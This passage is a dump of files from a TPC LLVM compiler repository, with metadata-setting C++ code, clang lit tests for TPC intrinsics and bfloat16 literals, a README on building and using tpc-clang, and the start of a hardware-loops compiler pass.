(FieldInfo.isArray()) {\n ErrorMessage = \"Do not use this method for work with array field.\";\n return false;\n } else if (FieldInfo.minValue > Value || FieldInfo.maxValie < Value) {\n ErrorMessage = formatv(\"Incorrect value.\"\n \" Expected value in range [{0}, {1}].\",\n FieldInfo.minValue, FieldInfo.maxValie);\n return false;\n }\n\n StringRef FieldName(FieldInfo.fieldName);\n if (FieldName.equals(TPCVersionName))\n Result.version = Value;\n else if (FieldName.equals(TPCSpecialFunctionUsedName))\n Result.specialFunctionUsed = Value;\n else if (FieldName.equals(TPCPrintfUsedName))\n Result.printfUsed = Value;\n else if (FieldName.equals(TPCLockUnLockName))\n Result.lockUnLock = Value;\n else if (FieldName.equals(TPCMarchName))\n Result.march = Value;\n else if (FieldName.equals(TPCMMIOName))\n Result.mmioUsed = Value;\n else if (FieldName.equals(TPCParamsNumName))\n Result.paramsNum = Value;\n else if (FieldName.equals(TPCPrintfTensorIDName))\n Result.printfTensorID = Value;\n else\n llvm_unreachable(\"An unhandled case occurred\");\n\n return true;\n}\n\nbool llvm::setTpcMetadataArrayValue(int64_t Value,\n unsigned Index,\n const TPCMetadataFieldInfo &FieldInfo,\n TPCMetadataSection &Result,\n std::string &ErrorMessage) {\n if (!FieldInfo.isArray()) {\n ErrorMessage = \"Do not use this method for work with scalar field.\";\n return false;\n } else if (Value < FieldInfo.minValue || Value > FieldInfo.maxValie) {\n ErrorMessage = formatv(\"Incorrect value.\"\n \" Expected value in range [{0}, {1}].\",\n FieldInfo.minValue, FieldInfo.maxValie);\n return false;\n }\n\n\n if (Index >= FieldInfo.length) {\n ErrorMessage = formatv(\"Invalid index.\"\n \" Expected index in range [0, {1}].\",\n FieldInfo.length);\n return false;\n }\n\n StringRef FieldName(FieldInfo.fieldName);\n if (FieldName.equals(TPCScalarLdName))\n Result.scalarLd[Index] = Value;\n else if (FieldName.equals(TPCRMWStoreName))\n Result.rmwStore[Index] = Value;\n else\n llvm_unreachable(\"An unhandled case occurred\");\n\n return true;\n}\n\nbool llvm::setTpcMetadataArrayValue(const StringRef &Value,\n const TPCMetadataFieldInfo &FieldInfo,\n TPCMetadataSection &Result,\n std::string &ErrorMessage) {\n if (!FieldInfo.isArray()) {\n ErrorMessage = \"Do not use this method for work with scalar field.\";\n return false;\n }\n\n auto ToDigitsVector = [](const StringRef &Value) {\n std::vector<unsigned> Digits;\n for (char C : Value) {\n assert(std::isdigit(C));\n Digits.push_back(C - '0');\n }\n\n return Digits;\n };\n\n StringRef FieldName(FieldInfo.fieldName);\n\n std::vector<unsigned> Digits = ToDigitsVector(Value);\n if (Digits.size() != FieldInfo.length) {\n ErrorMessage = formatv(\"Invalid vector length.\"\n \" Expected vector with length equals {0}.\",\n FieldInfo.length);\n return false;\n }\n\n if (FieldName.equals(TPCScalarLdName)) {\n for(std::size_t i = 0; i < Digits.size(); ++i) {\n if (FieldInfo.minValue > Digits[i] || FieldInfo.maxValie < Digits[i]) {\n ErrorMessage = formatv(\"Incorrect value.\"\n \" Expected value in range [{0}, {1}].\",\n FieldInfo.minValue, FieldInfo.maxValie);\n return false;\n }\n\n Result.scalarLd[i] = Digits[i];\n }\n } else if (FieldName.equals(TPCRMWStoreName)) {\n for(std::size_t i = 0; i < Digits.size(); ++i) {\n if (FieldInfo.minValue > Digits[i] || FieldInfo.maxValie < Digits[i]) {\n ErrorMessage = formatv(\"Incorrect value.\"\n \" Expected value in range [{0}, {1}].\",\n FieldInfo.minValue, FieldInfo.maxValie);\n return false;\n }\n\n Result.rmwStore[i] = Digits[i];\n }\n }\n\n return true;\n}\n" }, { "alpha_fraction": 0.6499999761581421, "alphanum_fraction": 0.6909090876579285, "avg_line_length": 35.66666793823242, "blob_id": "0183179c77d3437d9b12bf94ef3d71d8df2b3c06", "content_id": "52db1df685ff2d28196529a39dda5037bebc5050", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 220, "license_type": "permissive", "max_line_length": 71, "num_lines": 6, "path": "/clang/test/RC99/utils/gen_err-13.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %intr-gen %s 2>&1 | FileCheck %s\n\nint func_01(int switches=0, bool polarity);\n\n// CHECK: line 3 error: Missed default argument in parameter 'polarity'\n// CHECK: > int func_01(int switches=0, bool polarity);\n" }, { "alpha_fraction": 0.36752137541770935, "alphanum_fraction": 0.48096346855163574, "avg_line_length": 35.771427154541016, "blob_id": "eeea95b954b5ca99ab6b733c34019ded652fdb04", "content_id": "a573430dc4e94d3ee404d882f6d4c279bb6e1a41", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1287, "license_type": "permissive", "max_line_length": 106, "num_lines": 35, "path": "/clang/test/RC99/IntrinsicsM/mul/v_i16_mul_vb.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(short a, short b, int dest, int src) {\n int128 __local *dptr = (int128 __local *)dest;\n short128 x0 = *(short128 __local *)(src + 0 * 256);\n short128 x1 = *(short128 __local *)(src + 1 * 256);\n bool128 pred = *(bool128 __local *)(src + 2 * 256);\n int128 res = { 0 };\n\n res = v_i16_mul_vb(x0, x1, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_i16_mul_vb(x0, x1, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n res = v_i16_mul_vb(x0, a, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S0, %VP{{[0-9]+}}\n\n res = v_i16_mul_vb(x0, a, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S0, !%VP{{[0-9]+}}\n\n res = v_i16_mul_vb(x0, 123, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = v_i16_mul_vb(x0, 123, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%VP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.5911329984664917, "alphanum_fraction": 0.6206896305084229, "avg_line_length": 21.55555534362793, "blob_id": "c465051e6f85956235bd1b887ad804e5abfcf978", "content_id": "46d5d99bc28aea42941c46e45e1ade9c0c68ee34", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 203, "license_type": "permissive", "max_line_length": 67, "num_lines": 9, "path": "/clang/test/RC99/utils/gen_err-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %intr-gen %s 2>&1 | FileCheck %s\n\n#ifdef __dali__\nint func_01(int x);\n#endif\n\n// CHECK: line 3 column 3 error: unsupported preprocessor directive\n// CHECK: > #ifdef __dali__\n// CHECK: ^\n" }, { "alpha_fraction": 0.3241563141345978, "alphanum_fraction": 0.4964475929737091, "avg_line_length": 23.478260040283203, "blob_id": "af6445b332a1a0c175b523327ff21ac55c8b85ab", "content_id": "f4ffd46f597af3c9a27adbfd5cbd6a7f9b1bfa83", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1126, "license_type": "permissive", "max_line_length": 106, "num_lines": 46, "path": "/clang/test/RC99/bfloat16/bf16_literal-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -triple tpc-none-none -std=rc99 -O1 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n// GAUDI-1118\n// XFAIL:*\nvoid main(int dest) {\n _BFloat16 __local *ptr = (_BFloat16 __local *) dest;\n\n *ptr = 0.0bf; ptr += 2;\n// CHECK: mov.i16 {{.*}}, 0x0\n\n *ptr = 1.0bf; ptr += 2;\n// CHECK: mov.i16 {{.*}}, 0x3f80\n\n *ptr = -1.0bf; ptr += 2;\n // 0xBF80 -> 49024 -> -49024 -> 4080\n// CHECK: mov.i16 {{.*}}, -0x4080\n\n *ptr = 1.5bf; ptr += 2;\n// CHECK: mov.i16 {{.*}}, 0x3fc0\n\n *ptr = -1.5bf; ptr += 2;\n // 0xH3FC0 -> 49088 -> -49088 -> 4040\n// CHECK: mov.i16 {{.*}}, -0x4040\n\n *ptr = 1.75bf; ptr += 2;\n// CHECK mov.i16 {{.*}}, 0x3fe0\n\n *ptr = -1.75bf; ptr += 2;\n // 0xBFE0 -> 49120 -> -49120 -> 4020\n// CHECK: mov.i16 {{.*}}, -0x4020\n\n *ptr = 2.bf; ptr += 2;\n// CHECK: mov.i16 {{.*}}, 0x4000\n\n *ptr = -2.bf; ptr += 2;\n// CHECK: mov.i16 {{.*}}, -0x4000\n\n *ptr = (1.0bf / 0.0bf); ptr += 2;\n// CHECK: mov.i16 {{.*}}, 0x7f80\n\n *ptr = (-1.0bf / 0.0bf); ptr += 2;\n // 0xff80 -> 65408 -> -65408 -> 0x0080\n// CHECK: mov.i16 {{.*}}, -0x80\n\n *ptr++ = (0.0bf / 0.0bf); ptr += 2;\n// CHECK: mov.i16 {{.*}}, 0x7fc0\n}\n" }, { "alpha_fraction": 0.5354166626930237, "alphanum_fraction": 0.6291666626930237, "avg_line_length": 37.36000061035156, "blob_id": "168ba35b303d8338136c19c80532073375113dc5", "content_id": "b7f916f4faa42812c8a50cc9de0dbf1d9b35aa19", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 960, "license_type": "permissive", "max_line_length": 157, "num_lines": 25, "path": "/clang/test/RC99/driver/lut-warn/gaudi/lut-warn-correct-bv32.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang %s -S -march=gaudi 2>&1 | FileCheck %s -allow-empty\n\nvoid main(int x0, int x2, int x3, int dest0, int dest1, int dest2)\n{\n uint64 __local *ptr_x0 = (uint64 __local *)x0;\n uint64 __local *ptr_x1 = (uint64 __local *)x2;\n\n float64 __local *res0 = (float64 __local *)dest0;\n float64 __local *res1 = (float64 __local *)dest1;\n float64 __local *res2 = (float64 __local *)dest2;\n\n float64 temp_res0 = 0;\n float64 temp_res1 = 0;\n float64 temp_res2 = 0;\n\n temp_res0 = v_f32_lookup_1c_v_b(*ptr_x0, temp_res0, 0, e_fp32_sqrt, x3, 0);\n temp_res1 = v_f32_lookup_1c_v_b(*ptr_x1, temp_res0, 0, e_fp32_sqrt, x3, 0);\n temp_res2 = v_f32_lookup_1c_v_b(*ptr_x1, temp_res0, 0, e_fp32_rcp, x3, 0);\n\n *res0 = temp_res0;\n *res1 = temp_res1;\n *res2 = temp_res2;\n}\n\n//CHECK-NOT: Performance warning: number of requested special function IDs exceeds LUT cache capacity for the Gen2+ architecture, this will cause LUT misses.\n\n" }, { "alpha_fraction": 0.704365074634552, "alphanum_fraction": 0.7135854363441467, "avg_line_length": 46.3425407409668, "blob_id": "d03d82ae7f16c85a35ee2989c75bb5a168ff8636", "content_id": "d51783863a8a64e01be52dd9f83a2fa8a962f628", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 8568, "license_type": "no_license", "max_line_length": 414, "num_lines": 181, "path": "/README.md", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "# TPC-CLANG compiler\nTPC-CLANG compiler is based on the widely used [LLVM](https://llvm.org/) open-source compiler infrastructure project. The tpc-clang compiler compiles a TPC C programming language (also referred to as TPC C). TPC-C is based on the ISO/IEC 9899:1999 C language specification with TPC-specific extensions and restrictions.\n\n<img style=\"float: right;\n height:200px;\" src=TPC-compiler.jpg >\n\n## Table of Contents\n- [TPC-CLANG compiler](#tpc-clang-compiler)\n - [Table of Contents](#table-of-contents)\n - [Clone tpc-llvm Repository](#clone-tpc-llvm-repository)\n - [Building the Compiler](#building-the-compiler)\n - [Requirements](#requirements)\n - [Build LLVM from source](#build-llvm-from-source)\n - [Using a Build Script](#using-a-build-script)\n - [Working with the Compiler](#working-with-the-compiler)\n - [Specific Compiler Options](#specific-compiler-options)\n - [Pragmas](#pragmas)\n - [Macros](#macros)\n - [Intrinsics](#intrinsics)\n - [Disassembler](#disassembler)\n - [Typical Invocation:](#typical-invocation)\n - [Other TPC-Specific Options:](#other-tpc-specific-options)\n - [How to Disassemble Binary: Wrap Binary to Elf](#how-to-disassemble-binary-wrap-binary-to-elf)\n - [Assembler](#assembler)\n\n## Clone tpc-llvm Repository\n\nCreate a working directory, and clone the repository. For example the folder '~/habanaTools'.\n\n```sh\ncd ~/habanaTools\ngit clone https://github.com/HabanaAI/tpc_llvm.git tpc-llvm\n```\n\nFrom here on, we assume the root of the source tree is '~/habanaTools/tpc-llvm'.\n\n## Building the Compiler\n\n### Requirements\n1. [cmake](https://cmake.org/) must be installed on the build machine.\n2. cmake version 3.4.3 or higher is required.\n3. [gcc 5.1 | clang 6.0] or higher \n4. Python 3.6.9 or higher\n\nCreate a build directory, for examples '~/habanaTools/build' (the folder can be located anywhere), and enter the folder:\n\n```sh\ncd ~/habanaTools\nmkdir build\ncd build\n```\n\n### Build LLVM from source\n```sh\ncmake -G \"Unix Makefiles\" \\\n -DLLVM_ENABLE_PROJECTS=clang \\\n -DLLVM_TARGETS_TO_BUILD=\"TPC\" \\\n -DLLVM_BUILD_EXAMPLES=OFF \\\n -DLLVM_INCLUDE_EXAMPLES=OFF \\\n -DCLANG_ENABLE_ARCMT=OFF \\\n -DCLANG_BUILD_EXAMPLES=OFF \\\n ../tpc-llvm/llvm\n```\nRun the build:\n```sh\nmake clang llc opt llvm-objdump\n```\nThe build must finish successfully.\n\n### Using a Build Script\nFrom build directory run:\n```sh\n../tpc-llvm/buildTPC_CLANG.sh\n```\n\n```\nusage: buildTPC_CLANG.sh [options]\n\noptions:\n\n -r, --release Build only release build\n -j, --jobs <val> Overwrite number of jobs\n -h, --help Prints this help\n```\n\n## Working with the Compiler\n\nThe build must create compiler executable 'tpc-clang' in the directory ~/habanaTools/build/bin'. It is used as usually, for instance, the next invocations may be used to compile source file to an object, ASM or llvm IR respectively:\n\n```sh\n~/habanaTools/build/bin/tpc-clang ~/habanaTools/tpc-llvm/codeExample/leakyrelu_f32.c -c\n~/habanaTools/build/bin/tpc-clang ~/habanaTools/tpc-llvm/codeExample/leakyrelu_f32.c -S\n~/habanaTools/build/bin/tpc-clang ~/habanaTools/tpc-llvm/codeExample/leakyrelu_f32.c -S -emit-llvm\n```\n\n## Specific Compiler Options\n\n\n* **Optimization levels:** -O2 and -O0 are maximum and minimum levels supported, -O2 is the default level.\n * **-O1** turns off HW loops, loop pipelining, and few other optimizations.\n * **-O0** turns off instruction scheduling and bundling plus pads all instructions with 6 NOPs to ensure results queue is committed to register file before the next instruction executed.\n* **-march=\\<name\\>** Architecture switch, currently supported names are \"goya\", \"gaudi\"\n* **-max-tensors \\<n\\>** Tensor limit, n is a number in range 0..16. Default is architecture-dependent (8 for goya and 16 for others).\n* **-vlm \\<n\\>** Vector local memory limit, n is the amount of memory in KB. Default is 80KB if the program does not use LOOKUP instruction and 16KB otherwise. Beware that the compiler can need some VLM space for register spilling.\n* **-slm \\<n\\>** Scalar local memory limit, n is the amount of memory in KB. Default is architecture-dependent (1 for goya/gaudi). Beware that the compiler can need some SLM space for register spilling.\n* **-spill-vlm N** Limit VLM amount available for spills, abort compilation if this limit gets exceeded. If not set, the whole VLM can be used.\n* **-main-function \\<main_entry_name\\>** Name of entry function. Default is \"main\".\n* **-all-loops-taken** Enable global elimination of loop end padding as loops are always taken.\n* **-use-printf** Reserve tensor for printf, regardless of compiled code contents.\n* **-reg-mem-count** Output usage of registers and local memory.\n* **-disable-lut-warn** Suppress performance warning when used LUT size exceeds LUT cache\n* **-mllvm -ignore-mem-overflow=1** Do not abort compilation if local memory limit is exceeded. A warning message is still issued.\n* **-mllvm -loop-unswitch-threshold=N** Enable transformation of loops that contain branches on loop-invariant conditions to multiple loops. This can increase the size of the code exponentially (doubling it every time a loop is unswitched), so we only unswitch if the resultant code will be smaller than a threshold. Working values usually start from 500.\n* **-mllvm -tpc-default-latency=N** Latency for operands undefined in latency DB. Default is 7, suboptimal but guaranteed to be working.\n* **--tpcversion** Print TPC version information (git revision hash).\n\n## Pragmas\n\n* **\\#pragma unroll(UnrollCount)** enables standard llvm unrolling optimization for the loop.\n* **\\#pragma loop_unroll(UnrollCount)** enables tpc backend unrolling optimization. The number of iterations of the loop should be a multiple of UnrollCount. To also pipeline, the loop option 'pipelined' should be added. In this case the number of iteration of the loop should also be at least two times larger than UnrollCount. Option 'taken' tells the compiler that the loop always executes at least one time. \n* **\\#pragma loop_taken** tells compiler that the loop always executes at least 1 time. \nExamples:\n* **\\#pragma unroll(2)** - unroll two iterations using high-level llvm algorithm\n* **\\#pragma loop_unroll(4)** - unroll 4 iterations using tpc backend algorithm\n* **\\#pragma loop_unroll(3) pipelined taken** - pipeline 3 iterations, assume loop is always entered and has at least 6 iterations.\n\n## Macros\n\n* **\\_\\_TPC\\_\\_** common architecture marker\n* **\\_\\_goya\\_\\_** architecture generation 1\n* **\\_\\_gaudi\\_\\_** architecture generation 2\n* **\\_\\_X_TENSORS=\\<n\\>** reflects actual tensor limit\n* **MAX_SLM=\\<n\\>** reflects architecture scalar memory limit (in bytes)\n* **MAX_VLM=\\<n\\>** reflects architecture vector memory limit (in bytes)\n* **\\_\\_HABANA_TOOL_VERSION** Public software version (e.g. recent was 0.10.0)\n* **\\_\\_TPC_DROP_VERSION** Internal drop version (e.g. recent was 18.0.1)\n* **VERSION2DEC(a,b,c)** Macro to express an expected version (as \"a.b.c\" triple)\n\nTypical check for compiler version is like this:\n```C++\n#if __TPC_DROP_VERSION >= VERSION2DEC(16, 0, 0)\n //use some recent feature\n#else\n //fall back to legacy way\n#endif\n```\n\n## Intrinsics\nSee **tpc-intrinsics.h** and **tpc-defs.h** header files (NB: these headers are documentation only, not intended for real inclusion into source code).\n\n## Disassembler\n### Typical Invocation:\n\n```sh\nllvm-objdump --triple tpc -d -no-show-raw-insn -no-leading-addr -mcpu=gaudi mytest.o\n```\n\n### Other TPC-Specific Options:\n* **-tpc-encoding-info** output human-readable decomposition of VLIW instruction fields. It may be used with or without -d.\n* **-no-common-header** suppress output of non-assembly text. Useful to stream disassembled sources back to the assembler.\n\n### How to Disassemble Binary: Wrap Binary to Elf\n1) Create an empty ELF container:\n```sh\necho \"\" |tpc-clang -o empty.o -c -xassembler -\n```\n\n2) Embed the binary to ELF as .text section (and strip irrelevant sections away):\n```sh\nobjcopy --update-section .text=path/to/file.bin -j .text empty.o result.o\n```\n\n3) Disassemble the result ELF into a file name 'result.s':\n```sh\nllvm-objdump --triple tpc -mcpu=gaudi -d -no-show-raw-insn -no-leading-addr -no-common-header result.o > result.s\n```\n## Assembler\nTypically compiler handles assembler source files (*.tpcasm and *.s) the same way as c/cpp sources. No special care is needed. E.g.:\n```sh\ntpc-clang -c -march=goya my.s\n```" }, { "alpha_fraction": 0.5890052318572998, "alphanum_fraction": 0.6151832342147827, "avg_line_length": 26.35714340209961, "blob_id": "11bd2a3a2332fe01d4ee616b93a0e42326379946", "content_id": "ee6e0741dc70c87345cd61ec891c8379dcb50451", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 382, "license_type": "permissive", "max_line_length": 97, "num_lines": 14, "path": "/clang/test/RC99/restrictions/addrspace-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -ast-dump %s -o - | FileCheck %s\n\n\nint bbbb;\n// CHECK: VarDecl {{.*}} bbbb '__attribute__((address_space(1))) int'\n\n__local int cccc;\n// CHECK: VarDecl {{.*}} cccc '__attribute__((address_space(1))) int'\n\n__local float64 dddd;\n// CHECK: VarDecl {{.*}} dddd '__attribute__((address_space(2))) float64'\n\nvoid main() {\n}" }, { "alpha_fraction": 0.6481481194496155, "alphanum_fraction": 0.6712962985038757, "avg_line_length": 35, "blob_id": "8b87e09651d09296c1388b8ab0ca9514f54dbba9", "content_id": "ac120bb4f90785da79fe7ab80577e3ab56a0af4f", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 216, "license_type": "permissive", "max_line_length": 106, "num_lines": 6, "path": "/clang/test/RC99/target-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple=tpc -S -emit-llvm -std=rc99 -target-cpu gaudi -bfloat16 -verify %s -o /dev/null\n\nvoid main() {\n require_cpu_gaudi();\n require_cpu_goya(); // expected-error{{needs target feature goya}}\n}\n" }, { "alpha_fraction": 0.6108227372169495, "alphanum_fraction": 0.615205705165863, "avg_line_length": 29.822641372680664, "blob_id": "fec4d82c37d364a1bfe9aea94c7f3000aa34da25", "content_id": "910465b58612894ce86f1c6bb1458ba755a03097", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 40840, "license_type": "permissive", "max_line_length": 153, "num_lines": 1325, "path": "/llvm/lib/Target/TPC/TPCHardwareLoops.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCHardwareLoops.cpp - Identify and generate hardware loops -----===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// This pass identifies loops where we can generate the TPC hardware\n// loop instruction.\n//\n// Criteria for hardware loops:\n// - Countable loops (w/ ind. var for a trip count)\n// - Try inner-most loops first\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/ADT/Statistic.h\"\n#include \"llvm/ADT/StringRef.h\"\n#include \"llvm/CodeGen/MachineBasicBlock.h\"\n#include \"llvm/CodeGen/MachineDominators.h\"\n#include \"llvm/CodeGen/MachineFunction.h\"\n#include \"llvm/CodeGen/MachineFunctionPass.h\"\n#include \"llvm/CodeGen/MachineInstr.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/MachineLoopInfo.h\"\n#include \"llvm/CodeGen/MachineOperand.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/IR/Constants.h\"\n#include \"llvm/IR/DebugLoc.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/MathExtras.h\"\n#include \"llvm/Support/raw_ostream.h\"\n#include \"llvm/Transforms/Utils/LoopSimplify.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include \"llvm/CodeGen/TargetRegisterInfo.h\"\n#include <cassert>\n#include <cstdint>\n#include <cstdlib>\n#include <iterator>\n#include <map>\n#include <set>\n#include <utility>\n#include <vector>\nusing namespace llvm;\n\n#define DEBUG_TYPE \"hwloops\"\n\nstatic cl::opt<bool>\n RemoveJumps(\"remove-jumps\", cl::Hidden,\n cl::desc(\"Remove jumps before HW loops\"), cl::init(false));\n\nnamespace llvm {\n\n FunctionPass *createTPCHardwareLoops();\n void initializeTPCHardwareLoopsPass(PassRegistry&);\n\n} // end namespace llvm\nstatic const char PassDescription[] = \"TPC Hardware Loops\";\nstatic const char PassName[] = \"tpc-hwloops\";\nstatic cl::opt<bool>\nEnableTPCHardwareLoops(PassName,\n cl::Hidden,\n cl::init(true));\n\nnamespace {\nstruct LoopVars {\n union {\n unsigned Reg;\n unsigned ImmVal;\n float FpVal;\n } Start;\n\n union {\n unsigned Reg;\n unsigned ImmVal;\n float FpVal;\n } Boundary;\n\n union {\n unsigned Reg;\n unsigned ImmVal;\n float FpVal;\n } Step;\n\n bool StartSel;\n bool BoundarySel;\n bool StepSel;\n\n unsigned PredReg;\n unsigned Polarity;\n bool IsPredicated;\n bool IsTaken;\n\n TPCII::CmpMode Mode;\n\n bool isStart(MachineOperand& MO) const{\n if (StartSel) {\n if (!MO.isImm()) return false;\n return MO.getImm() == Start.ImmVal;\n } else {\n if (!MO.isReg()) return false;\n return MO.getReg() == Start.Reg;\n }\n }\n\n bool isBoundary(MachineOperand& MO) const{\n if (BoundarySel) {\n if (!MO.isImm()) return false;\n return MO.getImm() == Boundary.ImmVal;\n } else {\n if (!MO.isReg()) return false;\n return MO.getReg() == Boundary.Reg;\n }\n }\n\n bool isStep(MachineOperand& MO) const{\n if (StepSel) {\n if (!MO.isImm()) return false;\n return MO.getImm() == Step.ImmVal;\n } else {\n if (!MO.isReg()) return false;\n return MO.getReg() == Step.Reg;\n }\n }\n\n void dump() {\n dbgs() << \"Start is \";\n if (StartSel) {\n dbgs() << Start.ImmVal << \"\\n\";\n } else {\n dbgs() << \"%vreg\" << Start.Reg << \"\\n\";\n }\n\n dbgs() << \"Boundary is \";\n if (BoundarySel) {\n dbgs() << Boundary.ImmVal << \"\\n\";\n } else {\n dbgs() << \"%vreg\" << Boundary.Reg << \"\\n\";\n }\n\n dbgs() << \"Step is \";\n if (StepSel) {\n dbgs() << Step.ImmVal << \"\\n\";\n } else {\n dbgs() << \"%vreg\" << Step.Reg << \"\\n\";\n }\n\n dbgs() << \"Cmp mode is \" << Mode << \"\\n\";\n }\n};\n\nstruct LoopStats {\n unsigned Phi;\n unsigned Iter;\n unsigned CounterReg;\n union {\n unsigned Reg;\n unsigned ImmVal;\n } Step;\n bool ImmStep;\n MachineLoop* L;\n\n LoopStats(unsigned Phi_, unsigned Iter_, MachineLoop* L_) : Phi(Phi_),\n Iter(Iter_), CounterReg(0), ImmStep(false), L(L_) {}\n};\n\nclass TPCHardwareLoops : public MachineFunctionPass {\n MachineLoopInfo *MLI;\n MachineRegisterInfo *MRI;\n MachineDominatorTree *MDT; //Needed?\n const TPCInstrInfo *TII;\n\n SmallVector<MachineOperand, 8> Iterators;\n //SmallVector<MachineInstr, 4> Loops;\n std::map<MachineLoop*, LoopStats*> LoopOrder;\n std::map<unsigned, SmallVector<LoopStats*, 4>> RegToLoop;\n\npublic:\n static char ID;\n TPCHardwareLoops() : MachineFunctionPass(ID), MLI(nullptr), MRI(nullptr),\n MDT(nullptr), TII(nullptr) {\n initializeTPCHardwareLoopsPass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\n bool convertToHardwareLoop(MachineLoop *L, int& Layer);\n void setCounters(MachineLoop* L, int& Layer);\n LoopVars* calculateLoop(MachineLoop *L);\n\n StringRef getPassName() const override { return \"TPC Hardware Loops\"; }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.addRequired<MachineDominatorTree>();\n AU.addRequired<MachineLoopInfo>();\n MachineFunctionPass::getAnalysisUsage(AU);\n }\n\nprivate:\n bool checkLayout(MachineLoop *L);\n TPCII::CmpMode getCmpMode(unsigned Opcode) const;\n TPCII::CmpMode invertCond(TPCII::CmpMode mode) const;\n TPCII::CmpMode swapCond(TPCII::CmpMode mode) const;\n bool appropriateInst(unsigned Opcode) const;\n unsigned chooseLoopOpcode(LoopVars* lv) const;\n MachineBasicBlock* stripEntranceCheck(MachineBasicBlock* Preheader, MachineBasicBlock* Header, MachineBasicBlock* Exit, LoopVars* Lv);\n bool predicateLoop(MachineBasicBlock* Preheader, MachineBasicBlock* Exit, MachineBasicBlock* PredTarget, LoopVars* Lv);\n};\n}\n\nINITIALIZE_PASS_BEGIN(TPCHardwareLoops, PassName,\n PassDescription, false, false)\nINITIALIZE_PASS_DEPENDENCY(MachineDominatorTree)\nINITIALIZE_PASS_DEPENDENCY(MachineLoopInfo)\nINITIALIZE_PASS_END(TPCHardwareLoops, PassName,\n PassDescription, false, false)\n\nFunctionPass *llvm::createTPCHardwareLoops() {\n return new TPCHardwareLoops();\n}\n\nbool TPCHardwareLoops::checkLayout(MachineLoop *L) {\n MachineBasicBlock* Latch = L->getLoopLatch();\n MachineBasicBlock* Exit = L->getExitBlock();\n\n assert(Exit && \"We should've checked earlier that the loop has only one exit\");\n\n // There's a pass that set numbers to blocks in order they will be emitted.\n // But it's launched much later. In theory we can bring it before loop conversion\n // by adding it to the dependency list. But for now it looks like we don't need\n // such a strict check\n// int StartNum = Start->getNumber();\n// int EndNum = Latch->getNumber();\n// int ExitNum = Exit->getNumber();\n//\n// if (ExitNum < StartNum)\n// return false;\n//\n// if (EndNum < StartNum)\n// return false;\n//\n// for (int i = StartNum; i < EndNum; ++i) {\n// MachineBasicBlock* NextLayout = Start->getParent()->getBlockNumbered(i);\n// // The loop should be layouted contiguously.\n// if 